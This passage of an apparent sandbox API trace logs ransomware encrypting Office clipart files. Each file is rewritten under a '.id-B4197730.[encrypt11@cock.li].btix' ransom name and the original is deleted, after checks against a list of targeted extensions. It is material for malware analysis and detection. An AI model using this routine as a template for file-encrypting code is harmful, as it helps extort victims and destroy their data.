lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x24c0, lpOverlapped=0x0) returned 1 [0152.656] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0152.657] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0152.657] SetEndOfFile (hFile=0x338) returned 1 [0152.687] CloseHandle (hObject=0x338) returned 1 [0152.687] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.687] SetEndOfFile (hFile=0x398) returned 1 [0152.688] CloseHandle (hObject=0x398) returned 1 [0152.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.688] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf")) returned 1 [0152.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0152.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0152.689] lstrlenW (lpString=".doc") returned 4 [0152.689] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.689] lstrlenW (lpString=".docx") returned 5 [0152.689] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0152.689] lstrlenW (lpString=".pdf") returned 4 [0152.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.689] lstrlenW (lpString=".xls") returned 4 [0152.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.689] lstrlenW (lpString=".xlsx") returned 5 [0152.689] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0152.689] lstrlenW (lpString=".ppt") returned 4 [0152.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0152.689] lstrlenW (lpString=".zip") returned 4 [0152.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.689] lstrlenW (lpString=".rar") returned 4 [0152.689] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.689] lstrlenW (lpString=".bz2") returned 4 [0152.689] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.689] lstrlenW (lpString=".7z") returned 3 [0152.689] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0152.689] lstrlenW (lpString=".dbf") returned 4 [0152.689] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0152.690] lstrlenW (lpString=".1cd") returned 4 [0152.690] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0152.690] lstrlenW (lpString=".jpg") returned 4 [0152.690] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.690] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.690] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0152.691] GetLastError () returned 0x0 [0152.691] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x1204, lpOverlapped=0x0) returned 1 [0152.691] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x1210, lpOverlapped=0x0) returned 1 [0152.692] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0152.692] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0152.692] SetEndOfFile (hFile=0x338) returned 1 [0152.692] CloseHandle (hObject=0x338) returned 1 [0152.693] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.693] SetEndOfFile (hFile=0x398) returned 1 [0152.693] CloseHandle (hObject=0x398) returned 1 [0152.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf")) returned 1 [0152.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0152.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0152.694] lstrlenW (lpString=".doc") returned 4 [0152.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.694] lstrlenW (lpString=".docx") returned 5 [0152.694] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0152.694] lstrlenW (lpString=".pdf") returned 4 [0152.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.694] lstrlenW (lpString=".xls") returned 4 [0152.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.694] lstrlenW (lpString=".xlsx") returned 5 [0152.694] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0152.694] lstrlenW (lpString=".ppt") returned 4 [0152.694] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0152.694] lstrlenW (lpString=".zip") returned 4 [0152.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.694] lstrlenW (lpString=".rar") returned 4 [0152.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.695] lstrlenW (lpString=".bz2") returned 4 [0152.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.695] lstrlenW (lpString=".7z") returned 3 [0152.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0152.695] lstrlenW (lpString=".dbf") returned 4 [0152.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0152.695] lstrlenW (lpString=".1cd") returned 4 [0152.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0152.695] lstrlenW (lpString=".jpg") returned 4 [0152.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.695] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.695] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0152.696] GetLastError () returned 0x0 [0152.696] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x274c, lpOverlapped=0x0) returned 1 [0152.696] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x2750, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x2750, lpOverlapped=0x0) returned 1 [0152.697] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0152.697] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0152.697] SetEndOfFile (hFile=0x338) returned 1 [0152.698] CloseHandle (hObject=0x338) returned 1 [0152.698] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.698] SetEndOfFile (hFile=0x398) returned 1 [0152.698] CloseHandle (hObject=0x398) returned 1 [0152.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.699] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf")) returned 1 [0152.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0152.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0152.699] lstrlenW (lpString=".doc") returned 4 [0152.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.699] lstrlenW (lpString=".docx") returned 5 [0152.699] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0152.699] lstrlenW (lpString=".pdf") returned 4 [0152.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.699] lstrlenW (lpString=".xls") returned 4 [0152.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.699] lstrlenW (lpString=".xlsx") returned 5 [0152.699] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0152.699] lstrlenW (lpString=".ppt") returned 4 [0152.699] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0152.699] lstrlenW (lpString=".zip") returned 4 [0152.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.699] lstrlenW (lpString=".rar") returned 4 [0152.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.699] lstrlenW (lpString=".bz2") returned 4 [0152.700] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.700] lstrlenW (lpString=".7z") returned 3 [0152.700] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0152.700] lstrlenW (lpString=".dbf") returned 4 [0152.700] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0152.700] lstrlenW (lpString=".1cd") returned 4 [0152.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0152.700] lstrlenW (lpString=".jpg") returned 4 [0152.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.700] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.700] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0152.701] GetLastError () returned 0x0 [0152.701] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x16b4, lpOverlapped=0x0) returned 1 [0152.701] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x16c0, lpOverlapped=0x0) returned 1 [0152.702] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0152.702] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0152.702] SetEndOfFile (hFile=0x338) returned 1 [0152.702] CloseHandle (hObject=0x338) returned 1 [0152.703] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.703] SetEndOfFile (hFile=0x398) returned 1 [0152.703] CloseHandle (hObject=0x398) returned 1 [0152.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.704] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf")) returned 1 [0152.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0152.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0152.704] lstrlenW (lpString=".doc") returned 4 [0152.704] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.704] lstrlenW (lpString=".docx") returned 5 [0152.704] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0152.704] lstrlenW (lpString=".pdf") returned 4 [0152.704] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.704] lstrlenW (lpString=".xls") returned 4 [0152.704] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.704] lstrlenW (lpString=".xlsx") returned 5 [0152.704] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0152.704] lstrlenW (lpString=".ppt") returned 4 [0152.704] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0152.704] lstrlenW (lpString=".zip") returned 4 [0152.704] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.704] lstrlenW (lpString=".rar") returned 4 [0152.704] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.704] lstrlenW (lpString=".bz2") returned 4 [0152.705] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.705] lstrlenW (lpString=".7z") returned 3 [0152.705] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0152.705] lstrlenW (lpString=".dbf") returned 4 [0152.705] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0152.705] lstrlenW (lpString=".1cd") returned 4 [0152.705] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0152.705] lstrlenW (lpString=".jpg") returned 4 [0152.705] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.705] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.705] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0152.706] GetLastError () returned 0x0 [0152.706] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x5bfc, lpOverlapped=0x0) returned 1 [0152.707] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x5c00, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x5c00, lpOverlapped=0x0) returned 1 [0152.708] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0152.708] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0152.708] SetEndOfFile (hFile=0x338) returned 1 [0152.708] CloseHandle (hObject=0x338) returned 1 [0152.708] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.708] SetEndOfFile (hFile=0x398) returned 1 [0152.709] CloseHandle (hObject=0x398) returned 1 [0152.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.709] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf")) returned 1 [0152.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0152.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0152.709] lstrlenW (lpString=".doc") returned 4 [0152.709] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.709] lstrlenW (lpString=".docx") returned 5 [0152.709] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.709] lstrlenW (lpString=".pdf") returned 4 [0152.710] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.710] lstrlenW (lpString=".xls") returned 4 [0152.710] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.710] lstrlenW (lpString=".xlsx") returned 5 [0152.710] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.710] lstrlenW (lpString=".ppt") returned 4 [0152.710] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0152.710] lstrlenW (lpString=".zip") returned 4 [0152.710] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.710] lstrlenW (lpString=".rar") returned 4 [0152.710] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.710] lstrlenW (lpString=".bz2") returned 4 [0152.710] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.710] lstrlenW (lpString=".7z") returned 3 [0152.710] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0152.710] lstrlenW (lpString=".dbf") returned 4 [0152.710] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0152.710] lstrlenW (lpString=".1cd") returned 4 [0152.710] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0152.710] lstrlenW (lpString=".jpg") returned 4 [0152.710] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.711] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.711] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0152.711] GetLastError () returned 0x0 [0152.711] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x2e7c, lpOverlapped=0x0) returned 1 [0152.712] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x2e80, lpOverlapped=0x0) returned 1 [0152.713] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0152.713] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0152.713] SetEndOfFile (hFile=0x338) returned 1 [0152.713] CloseHandle (hObject=0x338) returned 1 [0152.713] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.713] SetEndOfFile (hFile=0x398) returned 1 [0152.714] CloseHandle (hObject=0x398) returned 1 [0152.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.714] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf")) returned 1 [0152.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0152.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0152.714] lstrlenW (lpString=".doc") returned 4 [0152.714] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.715] lstrlenW (lpString=".docx") returned 5 [0152.715] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.715] lstrlenW (lpString=".pdf") returned 4 [0152.715] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.715] lstrlenW (lpString=".xls") returned 4 [0152.715] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.715] lstrlenW (lpString=".xlsx") returned 5 [0152.715] lstrcmpiW 